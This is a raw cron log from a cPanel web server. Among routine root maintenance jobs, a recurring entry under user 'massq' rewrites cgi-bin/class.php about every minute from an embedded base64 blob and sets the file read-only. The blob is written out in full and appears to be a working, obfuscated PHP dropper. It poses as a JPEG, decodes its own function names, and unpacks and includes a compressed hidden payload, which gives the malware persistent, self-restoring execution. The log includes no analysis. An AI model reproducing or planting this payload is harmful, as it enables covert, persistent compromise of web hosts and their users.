Sep  2 03:34:01 server CROND[4715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:34:01 server CROND[4717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:35:01 server CROND[5203]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:35:01 server CROND[5205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:35:01 server CROND[5213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:35:01 server CROND[5216]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 03:35:01 server CROND[5218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:35:01 server CROND[5215]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 03:35:01 server CROND[5221]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:35:01 server CROND[5219]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:35:01 server CROND[5220]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:36:01 server CROND[6057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:36:01 server CROND[6058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:36:01 server CROND[6059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:37:01 server CROND[6428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:37:01 server CROND[6429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:37:01 server CROND[6430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:38:01 server CROND[6809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:38:01 server CROND[6811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:38:01 server CROND[6810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:39:01 server CROND[7176]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 03:39:01 server CROND[7177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:39:01 server CROND[7178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:39:01 server CROND[7179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:40:01 server CROND[7656]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:40:01 server CROND[7660]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:40:01 server CROND[7662]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:40:01 server CROND[7664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:40:01 server CROND[7663]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:40:01 server CROND[7670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:40:01 server CROND[7671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:40:01 server CROND[7669]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:41:01 server CROND[8508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:41:01 server CROND[8510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:41:01 server CROND[8511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:42:01 server CROND[8885]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:42:01 server CROND[8884]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 03:42:01 server CROND[8886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:42:01 server CROND[8887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:43:01 server CROND[9256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:43:01 server CROND[9258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:43:01 server CROND[9257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:44:01 server CROND[9685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:44:01 server CROND[9686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:44:01 server CROND[9688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:45:01 server CROND[10150]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:45:01 server CROND[10164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:45:01 server CROND[10165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:45:01 server CROND[10166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:45:01 server CROND[10167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
